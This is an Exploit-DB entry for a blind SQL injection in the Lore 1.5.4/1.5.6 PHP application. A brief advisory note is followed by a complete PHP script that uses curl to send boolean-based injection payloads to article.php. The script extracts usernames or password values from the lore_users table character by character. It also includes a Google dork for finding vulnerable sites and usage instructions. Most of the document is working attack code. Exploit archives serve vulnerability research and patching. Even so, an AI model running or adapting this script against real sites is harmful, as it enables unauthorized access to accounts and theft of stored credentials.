Exploit-DB #26688
Description: Lore 1.5.4/1.5.6 - 'article.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-01
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15665/info

Lore is prone to an SQL injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

<?
/* *** CURL HABILITADO ****
Blind Sql Injections 
Script Version : >Lore 1.5.6 
Bug : > article.php?id=Blind ,Comentarios Habilitados * "Add Comment"
Dork : > intext:"Powered by Lore 1.5.6"
Coded By OzX[NuKE/US]
HTTP://FORO.UNDERSECURITY.NET
HTTP://FORO.EL-HACKER.COM
Gracias C1c4tr1z,Tecn0x,Lix,1995,N0b0dy,NanonRoses,Codebreak(?),Nork,Azrael[NuKE] && Todos los Miembros de UnderSecurity.net
100% CHILE

*/

set_time_limit (0); 
function GET($url) {
		$curl = curl_init();
	 	$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
		$header[] = "Cache-Control: max-age=0";
		$header[] = "Connection: keep-alive";
		$header[] = "Keep-Alive: 300";
		$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
		$header[] = "Accept-Language: en-us,en;q=0.5";
		$header[] = "Pragma: "; 
	 	curl_setopt($curl, CURLOPT_URL, $url);
		curl_setopt($curl, CURLOPT_USERAGENT, &#039;Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/[PII_REDACTED]  Firefox/3.0.4&#039;);
		curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
		curl_setopt($curl, CURLOPT_REFERER, &#039;http://www.google.com&#039;);
		curl_setopt($curl, CURLOPT_ENCODING, &#039;gzip,deflate&#039;);
		curl_setopt($curl, CURLOPT_AUTOREFERER, true);
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($curl, CURLOPT_TIMEOUT, 10);
		if (!$html = curl_exec($curl)) { 
		$html = file_get_contents($url);
						 }
		curl_close($curl);
	return $html; 
	}

function contar($host){
return count(explode("\n",GET($host)));
	}
function sql($sql,$i){ 
return "+and+ascii(substring((".$sql."),".$i.",1))=";
	}

function genera_ansii(){
for ($x=45;$x<=122;$x++){ //0-9 a-z && _
	if ($x==47){ // /
	$x++;
	}
	if ($x==58){
		$x=$x+37;
	}
	if($x==96){//sacamos el &#039;
	$x++;
	}

$ansi[]=$x;
			}
return $ansi;
			}

$url = $argv[1]; 
$id = $argv[2];
$opt = $argv[3];

if (count($argv)!=4){
	echo "BLIND SQL INJECTION Lore 1.5.6 By OzX\n";
	echo "USO :> php ".$argv[0]." url id -u [Obtener Usuario]\n";
	echo "USO :> php ".$argv[0]."p url id -p [Obtener Password]\n";
	echo "Ejemplo :> php ".$argv[0].".php http://www.website.com/article.php?id=009 1 -u \n";
}else{

	preg_match_all("/(comment\.php\?article_id)/", GET($url), $dat,  PREG_SET_ORDER);
	if (!$dat){
		echo "ERROR NO VULNERABLE | POSIBLEMENTE COMENTARIOS NO HABILITADOS\n";
	}else{

		echo "BLIND SQL INJECTION Lore 1.5.6 By OzX\n";
		if ($opt == "-u"){
		$var = "username";
		}elseif($opt == "-p"){
			$var = "password";
		}else{
			echo "[+] Parametros Incorrectos \n";
			exit();
		}

		echo $var.":\n";
		$ansi = genera_ansii(); 
		$query = "select+".$var."+from+lore_users+where+id=".$id;
		$original = contar($url);
		$i=1;
		for ($x=0;$x<=count($ansi);$x++){
			$var = $ansi[$x];
			$urlblind = $url.sql($query."+limit+0,1",$i).$var; 
			$blind = contar($urlblind);
				if ($blind == $original){
					$name.=chr($var);
					//system("clear"); //Linux
					echo "  :> ".$name.chr(8);
					$i++;
					$x=-1;
							}
			echo chr($var).chr(13);
		}
	echo "\nResultado :> ".$name."\n";
	}

}


?>